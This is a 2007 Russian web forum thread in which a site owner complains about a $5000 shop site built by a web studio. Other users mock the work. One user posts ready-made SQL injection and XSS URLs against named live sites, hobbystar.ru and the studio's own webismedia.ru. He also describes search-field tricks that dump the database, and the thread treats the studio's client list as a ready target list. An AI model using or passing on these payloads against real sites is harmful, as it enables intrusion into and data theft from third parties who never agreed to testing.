ацените
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
ацените - 2007-06-09 14:51:05.576666
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Зацените работу компании Webis и стоило ли это 5000$
http://www.lotpp.ru/
|
|
|
|
|
RE: ацените - 2007-06-09 15:00:45.033333
|
|
|
dx
Сообщений: 337
Оценки: 0
Присоединился: 2006-12-15 13:35:49.700000
|
Жесть, не стоило конечно, т.к. http://hobbystar.ru/news.php?id=-1'%20union%20select%201,1,1,1,1,1,1/*
|
|
|
|
|
RE: ацените - 2007-06-09 15:03:45.003333
|
|
|
dx
Сообщений: 337
Оценки: 0
Присоединился: 2006-12-15 13:35:49.700000
|
или так: http://hobbystar.ru/news.php?id=-1'%20union%20select%201,'<script>alert("xss")</script>',1,1,1,1,1/*
|
|
|
|
|
RE: ацените - 2007-06-09 15:09:20.473333
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Человек просто увидел в Яндекс.Директ заказал, ну в общем щас скоро движок менять.
|
|
|
|
|
RE: ацените - 2007-06-09 15:10:35.193333
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Id не фильтруется, ушасс
|
|
|
|
|
RE: ацените - 2007-06-09 15:19:24.553333
|
|
|
dx
Сообщений: 337
Оценки: 0
Присоединился: 2006-12-15 13:35:49.700000
|
Там ещё и поле поиска не фильтруется. Если ввести, например, <i>, то весь текст найденный будет курсивом. Правда, если ввести что-нибудь посложнее, то выдаст просто "По Вашему запросу ничего не найдено."
И классическая ошибка, если ввести что-то вроде %%%%%%%%%%%%%, то выдаст всё, что есть в БД.
|
|
|
|
|
RE: ацените - 2007-06-09 15:24:15.213333
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Я хочу в принципе поменять CMS, что посоветуешь по безопасности?
|
|
|
|
|
RE: ацените - 2007-06-09 15:33:57.840000
|
|
|
dx
Сообщений: 337
Оценки: 0
Присоединился: 2006-12-15 13:35:49.700000
|
Честно говоря, я не привык доверять чужим cms, поэтому у меня на сайте всё самописное:)
Даже не могу сказать, какая безопаснее.
|
|
|
|
|
RE: ацените - 2007-06-09 15:37:52.733333
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Не мне самому написать CMS нереально,так что придется эту латать
|
|
|
|
|
RE: ацените - 2007-06-09 15:52:40.053333
|
|
|
NightmareZz
Сообщений: 1087
Оценки: 0
Присоединился: 2006-10-15 11:16:16.833333
|
quote:
ORIGINAL: spectrum
Не мне самому написать CMS нереально,так что придется эту латать
Ёпт $5000? Я готов латать твою CMS за какие-нить скромные $1000 ;)
|
|
|
|
|
RE: ацените - 2007-06-09 16:02:20.913333
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Были б у меня эти 1000$ я б давно купил битрикс и не парился, а пока магазин не наберет обороты ни о чем лучшем мечтать не приходится.
|
|
|
|
|
RE: ацените - 2007-06-09 16:13:08.670000
|
|
|
dx
Сообщений: 337
Оценки: 0
Присоединился: 2006-12-15 13:35:49.700000
|
Гы, те кто делали эту cms сами как решето: http://webismedia.ru/web.php?s=-1'%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1/*
:D:D:D
|
|
|
|
|
RE: ацените - 2007-06-09 16:16:20.733333
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Пида__сы эти мне полгода пароль на FTP высылали
|
|
|
|
|
RE: ацените - 2007-06-09 16:17:53.983333
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Всем наука- не обращайтесь в Webis!
|
|
|
|
|
RE: ацените - 2007-06-09 16:25:50.626666
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
Блин,да такие же уязвимости у всех их клиентов!Во попали.
|
|
|
|
|
RE: ацените - 2007-06-09 16:36:01.506666
|
|
|
dx
Сообщений: 337
Оценки: 0
Присоединился: 2006-12-15 13:35:49.700000
|
Да, зато теперь есть база дырявых сайтов с однотипными sql-инъекциями: http://webismedia.ru/web.php :D
|
|
|
|
|
RE: ацените - 2007-06-09 16:47:28.746666
|
|
|
spectrum
Сообщений: 53
Оценки: 0
Присоединился: 2006-05-18 02:13:58
|
На самом деле сайтов гораздо больше, а там выложены типа самые крутые
|
|
|
|
|
|
